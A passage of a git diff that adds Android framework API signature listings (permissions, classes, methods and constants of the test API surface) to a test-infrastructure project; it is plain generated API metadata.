+    method @Deprecated public boolean removeParameter(String);
+    method @Deprecated public org.apache.http.params.HttpParams setBooleanParameter(String, boolean);
+    method @Deprecated public org.apache.http.params.HttpParams setDoubleParameter(String, double);
+    method @Deprecated public org.apache.http.params.HttpParams setIntParameter(String, int);
+    method @Deprecated public org.apache.http.params.HttpParams setLongParameter(String, long);
+    method @Deprecated public org.apache.http.params.HttpParams setParameter(String, Object);
+  }
+
+}
+
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/test-current.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/test-current.txt
new file mode 100644
index 0000000..2eafa93
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/test-current.txt
@@ -0,0 +1,3272 @@
+// Signature format: 2.0
+package android {
+
+  public static final class Manifest.permission {
+    field public static final String ACCESS_NOTIFICATIONS = "android.permission.ACCESS_NOTIFICATIONS";
+    field public static final String ACTIVITY_EMBEDDING = "android.permission.ACTIVITY_EMBEDDING";
+    field public static final String APPROVE_INCIDENT_REPORTS = "android.permission.APPROVE_INCIDENT_REPORTS";
+    field public static final String BACKGROUND_CAMERA = "android.permission.BACKGROUND_CAMERA";
+    field public static final String BIND_CELL_BROADCAST_SERVICE = "android.permission.BIND_CELL_BROADCAST_SERVICE";
+    field public static final String BRIGHTNESS_SLIDER_USAGE = "android.permission.BRIGHTNESS_SLIDER_USAGE";
+    field public static final String BROADCAST_CLOSE_SYSTEM_DIALOGS = "android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS";
+    field public static final String CHANGE_APP_IDLE_STATE = "android.permission.CHANGE_APP_IDLE_STATE";
+    field public static final String CLEAR_APP_USER_DATA = "android.permission.CLEAR_APP_USER_DATA";
+    field public static final String CLEAR_FREEZE_PERIOD = "android.permission.CLEAR_FREEZE_PERIOD";
+    field public static final String CONFIGURE_DISPLAY_BRIGHTNESS = "android.permission.CONFIGURE_DISPLAY_BRIGHTNESS";
+    field public static final String CONTROL_DEVICE_LIGHTS = "android.permission.CONTROL_DEVICE_LIGHTS";
+    field public static final String CONTROL_DEVICE_STATE = "android.permission.CONTROL_DEVICE_STATE";
+    field public static final String FORCE_DEVICE_POLICY_MANAGER_LOGS = "android.permission.FORCE_DEVICE_POLICY_MANAGER_LOGS";
+    field public static final String FORCE_STOP_PACKAGES = "android.permission.FORCE_STOP_PACKAGES";
+    field public static final String INSTALL_TEST_ONLY_PACKAGE = "android.permission.INSTALL_TEST_ONLY_PACKAGE";
+    field public static final String KEEP_UNINSTALLED_PACKAGES = "android.permission.KEEP_UNINSTALLED_PACKAGES";
+    field @Deprecated public static final String MANAGE_ACTIVITY_STACKS = "android.permission.MANAGE_ACTIVITY_STACKS";
+    field public static final String MANAGE_ACTIVITY_TASKS = "android.permission.MANAGE_ACTIVITY_TASKS";
+    field public static final String MANAGE_CRATES = "android.permission.MANAGE_CRATES";
+    field public static final String MANAGE_NOTIFICATION_LISTENERS = "android.permission.MANAGE_NOTIFICATION_LISTENERS";
+    field public static final String MANAGE_ROLLBACKS = "android.permission.MANAGE_ROLLBACKS";
+    field public static final String MANAGE_TOAST_RATE_LIMITING = "android.permission.MANAGE_TOAST_RATE_LIMITING";
+    field public static final String MODIFY_REFRESH_RATE_SWITCHING_TYPE = "android.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE";
+    field public static final String NETWORK_SETTINGS = "android.permission.NETWORK_SETTINGS";
+    field public static final String NETWORK_STACK = "android.permission.NETWORK_STACK";
+    field public static final String OVERRIDE_DISPLAY_MODE_REQUESTS = "android.permission.OVERRIDE_DISPLAY_MODE_REQUESTS";
+    field public static final String QUERY_AUDIO_STATE = "android.permission.QUERY_AUDIO_STATE";
+    field public static final String READ_CELL_BROADCASTS = "android.permission.READ_CELL_BROADCASTS";
+    field public static final String READ_PRIVILEGED_PHONE_STATE = "android.permission.READ_PRIVILEGED_PHONE_STATE";
+    field public static final String RECORD_BACKGROUND_AUDIO = "android.permission.RECORD_BACKGROUND_AUDIO";
+    field public static final String REMOVE_TASKS = "android.permission.REMOVE_TASKS";
+    field public static final String RESET_APP_ERRORS = "android.permission.RESET_APP_ERRORS";
+    field public static final String SET_AND_VERIFY_LOCKSCREEN_CREDENTIALS = "android.permission.SET_AND_VERIFY_LOCKSCREEN_CREDENTIALS";
+    field public static final String START_TASKS_FROM_RECENTS = "android.permission.START_TASKS_FROM_RECENTS";
+    field public static final String SUSPEND_APPS = "android.permission.SUSPEND_APPS";
+    field public static final String TEST_BIOMETRIC = "android.permission.TEST_BIOMETRIC";
+    field public static final String TEST_MANAGE_ROLLBACKS = "android.permission.TEST_MANAGE_ROLLBACKS";
+    field public static final String UPGRADE_RUNTIME_PERMISSIONS = "android.permission.UPGRADE_RUNTIME_PERMISSIONS";
+    field public static final String WRITE_DEVICE_CONFIG = "android.permission.WRITE_DEVICE_CONFIG";
+    field @Deprecated public static final String WRITE_MEDIA_STORAGE = "android.permission.WRITE_MEDIA_STORAGE";
+    field public static final String WRITE_OBB = "android.permission.WRITE_OBB";
+  }
+
+  public static final class Manifest.permission_group {
+    field public static final String UNDEFINED = "android.permission-group.UNDEFINED";
+  }
+
+  public static final class R.attr {
+    field public static final int requestForegroundServiceExemption = 16844362; // 0x101064a
+  }
+
+  public static final class R.bool {
+    field public static final int config_assistantOnTopOfDream = 17891333; // 0x1110005
+    field public static final int config_perDisplayFocusEnabled = 17891332; // 0x1110004
+    field public static final int config_remoteInsetsControllerControlsSystemBars = 17891334; // 0x1110006
+  }
+
+  public static final class R.string {
+    field public static final int config_defaultAssistant = 17039393; // 0x1040021
+    field public static final int config_defaultDialer = 17039395; // 0x1040023
+    field public static final int config_systemAutomotiveCluster = 17039400; // 0x1040028
+    field public static final int config_systemAutomotiveProjection = 17039401; // 0x1040029
+    field public static final int config_systemGallery = 17039399; // 0x1040027
+  }
+
+}
+
+package android.accessibilityservice {
+
+  public final class AccessibilityGestureEvent implements android.os.Parcelable {
+    ctor public AccessibilityGestureEvent(int, int);
+  }
+
+  public abstract class AccessibilityService extends android.app.Service {
+    field public static final int ACCESSIBILITY_TAKE_SCREENSHOT_REQUEST_INTERVAL_TIMES_MS = 333; // 0x14d
+  }
+
+  public class AccessibilityServiceInfo implements android.os.Parcelable {
+    method @NonNull public android.content.ComponentName getComponentName();
+  }
+
+}
+
+package android.animation {
+
+  public class ValueAnimator extends android.animation.Animator {
+    method public static float getDurationScale();
+    method public static void setDurationScale(float);
+  }
+
+}
+
+package android.app {
+
+  @UiContext public class Activity extends android.view.ContextThemeWrapper implements android.content.ComponentCallbacks2 android.view.KeyEvent.Callback android.view.LayoutInflater.Factory2 android.view.View.OnCreateContextMenuListener android.view.Window.Callback {
+    method public void onMovedToDisplay(int, android.content.res.Configuration);
+  }
+
+  public class ActivityManager {
+    method @RequiresPermission(android.Manifest.permission.SET_ACTIVITY_WATCHER) public void addHomeVisibilityListener(@NonNull java.util.concurrent.Executor, @NonNull android.app.HomeVisibilityListener);
+    method public void alwaysShowUnsupportedCompileSdkWarning(android.content.ComponentName);
+    method public long getTotalRam();
+    method @RequiresPermission(android.Manifest.permission.PACKAGE_USAGE_STATS) public int getUidProcessCapabilities(int);
+    method @RequiresPermission(android.Manifest.permission.PACKAGE_USAGE_STATS) public int getUidProcessState(int);
+    method public void holdLock(android.os.IBinder, int);
+    method public static boolean isHighEndGfx();
+    method @RequiresPermission(android.Manifest.permission.SET_ACTIVITY_WATCHER) public void removeHomeVisibilityListener(@NonNull android.app.HomeVisibilityListener);
+    method @RequiresPermission(android.Manifest.permission.RESET_APP_ERRORS) public void resetAppErrors();
+    method public static void resumeAppSwitches() throws android.os.RemoteException;
+    method @RequiresPermission(android.Manifest.permission.CHANGE_CONFIGURATION) public void scheduleApplicationInfoChanged(java.util.List<java.lang.String>, int);
+    method @RequiresPermission(android.Manifest.permission.INTERACT_ACROSS_USERS_FULL) public boolean stopUser(int, boolean);
+    method @RequiresPermission(android.Manifest.permission.CHANGE_CONFIGURATION) public boolean updateMccMncConfiguration(@NonNull String, @NonNull String);
+    method @RequiresPermission(android.Manifest.permission.DUMP) public void waitForBroadcastIdle();
+    field public static final long LOCK_DOWN_CLOSE_SYSTEM_DIALOGS = 174664365L; // 0xa692aadL
+    field public static final int PROCESS_CAPABILITY_ALL = 15; // 0xf
+    field public static final int PROCESS_CAPABILITY_ALL_EXPLICIT = 1; // 0x1
+    field public static final int PROCESS_CAPABILITY_ALL_IMPLICIT = 6; // 0x6
+    field public static final int PROCESS_CAPABILITY_FOREGROUND_CAMERA = 2; // 0x2
+    field public static final int PROCESS_CAPABILITY_FOREGROUND_LOCATION = 1; // 0x1
+    field public static final int PROCESS_CAPABILITY_FOREGROUND_MICROPHONE = 4; // 0x4
+    field public static final int PROCESS_CAPABILITY_NETWORK = 8; // 0x8
+    field public static final int PROCESS_CAPABILITY_NONE = 0; // 0x0
+    field public static final int PROCESS_STATE_FOREGROUND_SERVICE = 4; // 0x4
+    field public static final int PROCESS_STATE_TOP = 2; // 0x2
+  }
+
+  public static class ActivityManager.RunningAppProcessInfo implements android.os.Parcelable {
+    field public static final int IMPORTANCE_CANT_SAVE_STATE_PRE_26 = 170; // 0xaa
+  }
+
+  public static class ActivityManager.TaskDescription implements android.os.Parcelable {
+    method public String getIconFilename();
+    method public int getIconResource();
+    method @Nullable public String getIconResourcePackage();
+  }
+
+  public class ActivityOptions {
+    method @NonNull public static android.app.ActivityOptions makeCustomAnimation(@NonNull android.content.Context, int, int, @Nullable android.os.Handler, @Nullable android.app.ActivityOptions.OnAnimationStartedListener, @Nullable android.app.ActivityOptions.OnAnimationFinishedListener);
+    method @NonNull @RequiresPermission(android.Manifest.permission.START_TASKS_FROM_RECENTS) public static android.app.ActivityOptions makeCustomTaskAnimation(@NonNull android.content.Context, int, int, @Nullable android.os.Handler, @Nullable android.app.ActivityOptions.OnAnimationStartedListener, @Nullable android.app.ActivityOptions.OnAnimationFinishedListener);
+    method public static void setExitTransitionTimeout(long);
+    method public void setLaunchActivityType(int);
+    method public void setLaunchTaskId(int);
+    method public void setLaunchWindowingMode(int);
+    method public void setLaunchedFromBubble(boolean);
+    method public void setTaskAlwaysOnTop(boolean);
+    method public void setTaskOverlay(boolean, boolean);
+  }
+
+  public static interface ActivityOptions.OnAnimationFinishedListener {
+    method public void onAnimationFinished();
+  }
+
+  public static interface ActivityOptions.OnAnimationStartedListener {
+    method public void onAnimationStarted();
+  }
+
+  public class ActivityTaskManager {
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void clearLaunchParamsForPackages(java.util.List<java.lang.String>);
+    method public static boolean currentUiModeSupportsErrorDialogs(@NonNull android.content.Context);
+    method public static int getMaxNumPictureInPictureActions(@NonNull android.content.Context);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void moveTaskToRootTask(int, int, boolean);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void removeRootTasksInWindowingModes(@NonNull int[]);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void removeRootTasksWithActivityTypes(@NonNull int[]);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public boolean removeTask(int);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void resizeTask(int, android.graphics.Rect);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void startSystemLockTaskMode(int);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_ACTIVITY_TASKS) public void stopSystemLockTaskMode();
+    method public static boolean supportsMultiWindow(android.content.Context);
+    method public static boolean supportsSplitScreenMultiWindow(android.content.Context);
+    field public static final int DEFAULT_MINIMAL_SPLIT_SCREEN_DISPLAY_SIZE_DP = 440; // 0x1b8
+    field public static final int INVALID_STACK_ID = -1; // 0xffffffff
+  }
+
+  public class AlarmManager {
+    method public boolean hasScheduleExactAlarm(@NonNull String, int);
+  }
+
+  public class AppDetailsActivity extends android.app.Activity {
+    ctor public AppDetailsActivity();
+  }
+
+  public class AppOpsManager {
+    method @RequiresPermission("android.permission.MANAGE_APPOPS") public void addHistoricalOps(@NonNull android.app.AppOpsManager.HistoricalOps);
+    method @RequiresPermission("android.permission.MANAGE_APPOPS") public void clearHistory();
+    method public static void collectNotedOpSync(@NonNull android.app.SyncNotedAppOp);
+    method @RequiresPermission("android.permission.MANAGE_APPOPS") public void getHistoricalOpsFromDiskRaw(@NonNull android.app.AppOpsManager.HistoricalOpsRequest, @Nullable java.util.concurrent.Executor, @NonNull java.util.function.Consumer<android.app.AppOpsManager.HistoricalOps>);
+    method public static int getNumOps();
+    method public boolean isOperationActive(int, int, String);
+    method @RequiresPermission("android.permission.MANAGE_APPOPS") public void offsetHistory(long);
+    method public static String opToPermission(int);
+    method public static int permissionToOpCode(String);
+    method @RequiresPermission("android.permission.MANAGE_APPOPS") public void rebootHistory(long);
+    method @RequiresPermission("android.permission.MANAGE_APPOPS") public void reloadNonHistoricalState();
+    method @RequiresPermission("android.permission.MANAGE_APPOPS") public void resetHistoryParameters();
+    method @RequiresPermission("android.permission.MANAGE_APPOPS") public void resetPackageOpsNoHistory(@NonNull String);
+    method @RequiresPermission("android.permission.MANAGE_APPOPS") public void setHistoryParameters(int, long, int);
+    method @RequiresPermission("android.permission.MANAGE_APP_OPS_MODES") public void setMode(int, int, String, int);
+    method public static int strOpToOp(@NonNull String);
+    field public static final int ATTRIBUTION_CHAIN_ID_NONE = -1; // 0xffffffff
+    field public static final int ATTRIBUTION_FLAGS_NONE = 0; // 0x0
+    field public static final int ATTRIBUTION_FLAG_ACCESSOR = 1; // 0x1
+    field public static final int ATTRIBUTION_FLAG_INTERMEDIARY = 2; // 0x2
+    field public static final int ATTRIBUTION_FLAG_RECEIVER = 4; // 0x4
+    field public static final int HISTORICAL_MODE_DISABLED = 0; // 0x0
+    field public static final int HISTORICAL_MODE_ENABLED_ACTIVE = 1; // 0x1
+    field public static final int HISTORICAL_MODE_ENABLED_PASSIVE = 2; // 0x2
+    field public static final int HISTORY_FLAGS_ALL = 3; // 0x3
+    field public static final int HISTORY_FLAG_AGGREGATE = 1; // 0x1
+    field public static final int HISTORY_FLAG_DISCRETE = 2; // 0x2
+    field public static final String KEY_BG_STATE_SETTLE_TIME = "bg_state_settle_time";
+    field public static final String KEY_FG_SERVICE_STATE_SETTLE_TIME = "fg_service_state_settle_time";
+    field public static final String KEY_TOP_STATE_SETTLE_TIME = "top_state_settle_time";
+    field public static final String OPSTR_ACTIVITY_RECOGNITION = "android:activity_recognition";
+    field public static final String OPSTR_ACTIVITY_RECOGNITION_SOURCE = "android:activity_recognition_source";
+    field public static final String OPSTR_MANAGE_ONGOING_CALLS = "android:manage_ongoing_calls";
+    field public static final String OPSTR_RECORD_AUDIO_HOTWORD = "android:record_audio_hotword";
+    field public static final String OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER = "android:use_icc_auth_with_device_identifier";
+    field public static final int OP_COARSE_LOCATION = 0; // 0x0
+    field public static final int OP_RECORD_AUDIO = 27; // 0x1b
+    field public static final int OP_START_FOREGROUND = 76; // 0x4c
+    field public static final int OP_SYSTEM_ALERT_WINDOW = 24; // 0x18
+    field public static final long SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE = 151105954L; // 0x901b1a2L
+  }
+
+  public static final class AppOpsManager.HistoricalOps implements android.os.Parcelable {
+    ctor public AppOpsManager.HistoricalOps(long, long);
+    method public void addDiscreteAccess(int, int, @NonNull String, @Nullable String, int, int, long, long);
+    method public void increaseAccessCount(int, int, @NonNull String, @Nullable String, int, int, long);
+    method public void increaseAccessDuration(int, int, @NonNull String, @Nullable String, int, int, long);
+    method public void increaseRejectCount(int, int, @NonNull String, @Nullable String, int, int, long);
+    method public void offsetBeginAndEndTime(long);
+  }
+
+  public static interface AppOpsManager.OnOpActiveChangedListener {
+    method public default void onOpActiveChanged(@NonNull String, int, @NonNull String, @Nullable String, boolean, int, int);
+  }
+
+  public class BroadcastOptions {
+    ctor public BroadcastOptions(@NonNull android.os.Bundle);
+    method public int getMaxManifestReceiverApiLevel();
+    method public long getTemporaryAppAllowlistDuration();
+    method @Nullable public String getTemporaryAppAllowlistReason();
+    method public int getTemporaryAppAllowlistReasonCode();
+    method public int getTemporaryAppAllowlistType();
+    method public void setMaxManifestReceiverApiLevel(int);
+  }
+
+  public class DownloadManager {
+    field public static final String COLUMN_MEDIASTORE_URI = "mediastore_uri";
+  }
+
+  public class DreamManager {
+    method @RequiresPermission(android.Manifest.permission.READ_DREAM_STATE) public boolean isDreaming();
+    method @RequiresPermission(android.Manifest.permission.WRITE_DREAM_STATE) public void setActiveDream(@NonNull android.content.ComponentName);
+    method @RequiresPermission(android.Manifest.permission.WRITE_DREAM_STATE) public void startDream(@NonNull android.content.ComponentName);
+    method @RequiresPermission(android.Manifest.permission.WRITE_DREAM_STATE) public void stopDream();
+  }
+
+  public final class GameManager {
+    method @RequiresPermission("android.permission.MANAGE_GAME_MODE") public void setGameMode(@NonNull String, int);
+  }
+
+  public abstract class HomeVisibilityListener {
+    ctor public HomeVisibilityListener();
+    method public abstract void onHomeVisibilityChanged(boolean);
+  }
+
+  public class KeyguardManager {
+    method @RequiresPermission(anyOf={android.Manifest.permission.SET_AND_VERIFY_LOCKSCREEN_CREDENTIALS, "android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"}) public boolean checkLock(int, @Nullable byte[]);
+    method @RequiresPermission(anyOf={android.Manifest.permission.SET_AND_VERIFY_LOCKSCREEN_CREDENTIALS, "android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"}) public boolean setLock(int, @Nullable byte[], int, @Nullable byte[]);
+  }
+
+  public class Notification implements android.os.Parcelable {
+    method public boolean shouldShowForegroundImmediately();
+  }
+
+  public final class NotificationChannel implements android.os.Parcelable {
+    method public int getOriginalImportance();
+    method public boolean isBlockable();
+    method public boolean isImportanceLockedByCriticalDeviceFunction();
+    method public boolean isImportanceLockedByOEM();
+    method public void lockFields(int);
+    method public void setDeleted(boolean);
+    method public void setDeletedTimeMs(long);
+    method public void setDemoted(boolean);
+    method public void setFgServiceShown(boolean);
+    method public void setImportanceLockedByCriticalDeviceFunction(boolean);
+    method public void setImportanceLockedByOEM(boolean);
+    method public void setImportantConversation(boolean);
+    method public void setOriginalImportance(int);
+  }
+
+  public final class NotificationChannelGroup implements android.os.Parcelable {
+    method public int getUserLockedFields();
+    method public void lockFields(int);
+    method public void setBlocked(boolean);
+  }
+
+  public class NotificationManager {
+    method public void allowAssistantAdjustment(String);
+    method public void disallowAssistantAdjustment(String);
+    method public android.content.ComponentName getEffectsSuppressor();
+    method public boolean isNotificationPolicyAccessGrantedForPackage(@NonNull String);
+    method public boolean matchesCallFilter(android.os.Bundle);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_NOTIFICATION_LISTENERS) public void setNotificationListenerAccessGranted(@NonNull android.content.ComponentName, boolean, boolean);
+    method @RequiresPermission(android.Manifest.permission.MANAGE_TOAST_RATE_LIMITING) public void setToastRateLimitingEnabled(boolean);
+    method public void updateNotificationChannel(@NonNull String, int, @NonNull android.app.NotificationChannel);
+  }
+
+  public final class PendingIntent implements android.os.Parcelable {
+    method @RequiresPermission("android.permission.GET_INTENT_SENDER_INTENT") public boolean intentFilterEquals(@Nullable android.app.PendingIntent);
+    method @NonNull @RequiresPermission("android.permission.GET_INTENT_SENDER_INTENT") public java.util.List<android.content.pm.ResolveInfo> queryIntentComponents(int);
+    field @Deprecated public static final int FLAG_MUTABLE_UNAUDITED = 33554432; // 0x2000000
+  }
+
+  public final class PictureInPictureParams implements android.os.Parcelable {
+    method public java.util.List<android.app.RemoteAction> getActions();
+    method public float getAspectRatio();
+    method public android.graphics.Rect getSourceRectHint();
+    method public boolean isSeamlessResizeEnabled();
+  }
+
+  public final class PictureInPictureUiState implements android.os.Parcelable {
+    ctor public PictureInPictureUiState(boolean);
+  }
+
+  public class StatusBarManager {
+    method public void clickNotification(@Nullable String, int, int, boolean);
+    method @RequiresPermission(android.Manifest.permission.STATUS_BAR) public void collapsePanels();
+    method public void expandNotificationsPanel();
+    method @RequiresPermission(android.Manifest.permission.STATUS_BAR) public void handleSystemKey(int);
+    method public void sendNotificationFeedback(@Nullable String, @Nullable android.os.Bundle);
+    method @RequiresPermission(android.Manifest.permission.STATUS_BAR) public void setExpansionDisabledForSimNetworkLock(boolean);
+    method @RequiresPermission(android.Manifest.permission.STATUS_BAR) public void togglePanel();
+  }
+
+  public final class SyncNotedAppOp implements android.os.Parcelable {
+    ctor public SyncNotedAppOp(int, @IntRange(from=0L) int, @Nullable String, @NonNull String);
+  }
+
+  public class TaskInfo {
+    method public boolean containsLaunchCookie(@NonNull android.os.IBinder);
+    method @NonNull public android.content.res.Configuration getConfiguration();
+    method public int getParentTaskId();
+    method @Nullable public android.app.PictureInPictureParams getPictureInPictureParams();
+    method @NonNull public android.window.WindowContainerToken getToken();
+    method public boolean hasParentTask();
+  }
+
+  public class TimePickerDialog extends android.app.AlertDialog implements android.content.DialogInterface.OnClickListener android.widget.TimePicker.OnTimeChangedListener {
+    method public android.widget.TimePicker getTimePicker();
+  }
+
+  public final class UiAutomation {
+    method public void destroy();
+    method @NonNull public android.os.ParcelFileDescriptor[] executeShellCommandRwe(@NonNull String);
+    method @NonNull public java.util.Set<java.lang.String> getAdoptedShellPermissions();
+    method @Deprecated public boolean grantRuntimePermission(String, String, android.os.UserHandle);
+    method public boolean injectInputEvent(@NonNull android.view.InputEvent, boolean, boolean);
+    method @Deprecated public boolean revokeRuntimePermission(String, String, android.os.UserHandle);
+    method public void syncInputTransactions();
+    method public void syncInputTransactions(boolean);
+    method @Nullable public android.graphics.Bitmap takeScreenshot(@NonNull android.view.Window);
+    field @NonNull public static final java.util.Set<java.lang.String> ALL_PERMISSIONS;
+  }
+
+  public class UiModeManager {
+    method public boolean isNightModeLocked();
+    method public boolean isUiModeLocked();
+    method @RequiresPermission(value=android.Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION, conditional=true) public boolean releaseProjection(int);
+    method @RequiresPermission(value=android.Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION, conditional=true) public boolean requestProjection(int);
+    field public static final int PROJECTION_TYPE_ALL = -1; // 0xffffffff
+    field public static final int PROJECTION_TYPE_AUTOMOTIVE = 1; // 0x1
+    field public static final int PROJECTION_TYPE_NONE = 0; // 0x0
+  }
+
+  public class WallpaperManager {
+    method @Nullable public android.graphics.Bitmap getBitmap();
+    method public boolean shouldEnableWideColorGamut();
+    method @RequiresPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) public boolean wallpaperSupportsWcg(int);
+  }
+
+  public class WindowConfiguration implements java.lang.Comparable<android.app.WindowConfiguration> android.os.Parcelable {
+    ctor public WindowConfiguration();
+    method public int compareTo(android.app.WindowConfiguration);
+    method public int describeContents();
+    method public int getActivityType();
+    method public android.graphics.Rect getAppBounds();
+    method public android.graphics.Rect getBounds();
+    method @NonNull public android.graphics.Rect getMaxBounds();
+    method public int getRotation();
+    method public int getWindowingMode();
+    method public void setActivityType(int);
+    method public void setAppBounds(android.graphics.Rect);
+    method public void setBounds(android.graphics.Rect);
+    method public void setMaxBounds(@Nullable android.graphics.Rect);
+    method public void setRotation(int);
+    method public void setTo(android.app.WindowConfiguration);
+    method public void setWindowingMode(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ACTIVITY_TYPE_ASSISTANT = 4; // 0x4
+    field public static final int ACTIVITY_TYPE_DREAM = 5; // 0x5
+    field public static final int ACTIVITY_TYPE_HOME = 2; // 0x2
+    field public static final int ACTIVITY_TYPE_RECENTS = 3; // 0x3
+    field public static final int ACTIVITY_TYPE_STANDARD = 1; // 0x1
+    field public static final int ACTIVITY_TYPE_UNDEFINED = 0; // 0x0
+    field public static final int ROTATION_UNDEFINED = -1; // 0xffffffff
+    field public static final int WINDOWING_MODE_FREEFORM = 5; // 0x5
+    field public static final int WINDOWING_MODE_FULLSCREEN = 1; // 0x1
+    field public static final int WINDOWING_MODE_MULTI_WINDOW = 6; // 0x6
+    field public static final int WINDOWING_MODE_PINNED = 2; // 0x2
+    field public static final int WINDOWING_MODE_SPLIT_SCREEN_PRIMARY = 3; // 0x3
+    field public static final int WINDOWING_MODE_SPLIT_SCREEN_SECONDARY = 4; // 0x4
+    field public static final int WINDOWING_MODE_UNDEFINED = 0; // 0x0
+  }
+
+}
+
+package android.app.admin {
+
+  public class DevicePolicyManager {
+    method public int checkProvisioningPreCondition(@Nullable String, @NonNull String);
+    method @RequiresPermission(android.Manifest.permission.CLEAR_FREEZE_PERIOD) public void clearSystemUpdatePolicyFreezePeriodRecord();
+    method @Nullable public android.os.UserHandle createAndProvisionManagedProfile(@NonNull android.app.admin.ManagedProfileProvisioningParams) throws android.app.admin.ProvisioningException;
+    method @RequiresPermission(android.Manifest.permission.FORCE_DEVICE_POLICY_MANAGER_LOGS) public long forceNetworkLogs();
+    method @RequiresPermission("android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS") public void forceRemoveActiveAdmin(@NonNull android.content.ComponentName, int);
+    method @RequiresPermission(android.Manifest.permission.FORCE_DEVICE_POLICY_MANAGER_LOGS) public long forceSecurityLogs();
+    method public void forceUpdateUserSetupComplete(int);
+    method @NonNull public java.util.Set<java.lang.String> getDefaultCrossProfilePackages();
+    method @NonNull public java.util.Set<java.lang.String> getDisallowedSystemApps(@NonNull android.content.ComponentName, int, @NonNull String);
+    method public long getLastBugReportRequestTime();
+    method public long getLastNetworkLogRetrievalTime();
+    method public long getLastSecurityLogRetrievalTime();
+    method public java.util.List<java.lang.String> getOwnerInstalledCaCerts(@NonNull android.os.UserHandle);
+    method @NonNull @RequiresPermission("android.permission.MANAGE_DEVICE_ADMINS") public java.util.Set<java.lang.String> getPolicyExemptApps();
+    method public boolean isCurrentInputMethodSetByOwner();
+    method public boolean isFactoryResetProtectionPolicySupported();
+    method @RequiresPermission(anyOf={"android.permission.MARK_DEVICE_ORGANIZATION_OWNED", "android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS"}, conditional=true) public void markProfileOwnerOnOrganizationOwnedDevice(@NonNull android.content.ComponentName);
+    method @NonNull public static String operationSafetyReasonToString(int);
+    method @NonNull public static String operationToString(int);
+    method @RequiresPermission("android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS") public void provisionFullyManagedDevice(@NonNull android.app.admin.FullyManagedDeviceProvisioningParams) throws android.app.admin.ProvisioningException;
+    method @RequiresPermission("android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS") public void resetDefaultCrossProfileIntentFilters(int);
+    method @RequiresPermission(allOf={"android.permission.MANAGE_DEVICE_ADMINS", android.Manifest.permission.INTERACT_ACROSS_USERS_FULL}) public void setActiveAdmin(@NonNull android.content.ComponentName, boolean, int);
+    method @RequiresPermission("android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS") public boolean setDeviceOwner(@NonNull android.content.ComponentName, @Nullable String, int);
+    method @RequiresPermission("android.permission.MANAGE_DEVICE_ADMINS") public void setNextOperationSafety(int, int);
+    field public static final String ACTION_DATA_SHARING_RESTRICTION_APPLIED = "android.app.action.DATA_SHARING_RESTRICTION_APPLIED";
+    field public static final String ACTION_DEVICE_POLICY_CONSTANTS_CHANGED = "android.app.action.DEVICE_POLICY_CONSTANTS_CHANGED";
+    field public static final int CODE_ACCOUNTS_NOT_EMPTY = 6; // 0x6
+    field public static final int CODE_CANNOT_ADD_MANAGED_PROFILE = 11; // 0xb
+    field public static final int CODE_DEVICE_ADMIN_NOT_SUPPORTED = 13; // 0xd
+    field public static final int CODE_HAS_DEVICE_OWNER = 1; // 0x1
+    field public static final int CODE_HAS_PAIRED = 8; // 0x8
+    field public static final int CODE_MANAGED_USERS_NOT_SUPPORTED = 9; // 0x9
+    field public static final int CODE_NONSYSTEM_USER_EXISTS = 5; // 0x5
+    field public static final int CODE_NOT_SYSTEM_USER = 7; // 0x7
+    field @Deprecated public static final int CODE_NOT_SYSTEM_USER_SPLIT = 12; // 0xc
+    field public static final int CODE_OK = 0; // 0x0
+    field public static final int CODE_PROVISIONING_NOT_ALLOWED_FOR_NON_DEVELOPER_USERS = 15; // 0xf
+    field @Deprecated public static final int CODE_SPLIT_SYSTEM_USER_DEVICE_SYSTEM_USER = 14; // 0xe
+    field public static final int CODE_SYSTEM_USER = 10; // 0xa
+    field public static final int CODE_USER_HAS_PROFILE_OWNER = 2; // 0x2
+    field public static final int CODE_USER_NOT_RUNNING = 3; // 0x3
+    field public static final int CODE_USER_SETUP_COMPLETED = 4; // 0x4
+    field public static final int OPERATION_CLEAR_APPLICATION_USER_DATA = 23; // 0x17
+    field public static final int OPERATION_CREATE_AND_MANAGE_USER = 5; // 0x5
+    field public static final int OPERATION_INSTALL_CA_CERT = 24; // 0x18
+    field public static final int OPERATION_INSTALL_KEY_PAIR = 25; // 0x19
+    field public static final int OPERATION_INSTALL_SYSTEM_UPDATE = 26; // 0x1a
+    field public static final int OPERATION_LOCK_NOW = 1; // 0x1
+    field public static final int OPERATION_LOGOUT_USER = 9; // 0x9
+    field public static final int OPERATION_REBOOT = 7; // 0x7
+    field public static final int OPERATION_REMOVE_ACTIVE_ADMIN = 27; // 0x1b
+    field public static final int OPERATION_REMOVE_KEY_PAIR = 28; // 0x1c
+    field public static final int OPERATION_REMOVE_USER = 6; // 0x6
+    field public static final int OPERATION_REQUEST_BUGREPORT = 29; // 0x1d
+    field public static final int OPERATION_SAFETY_REASON_NONE = -1; // 0xffffffff
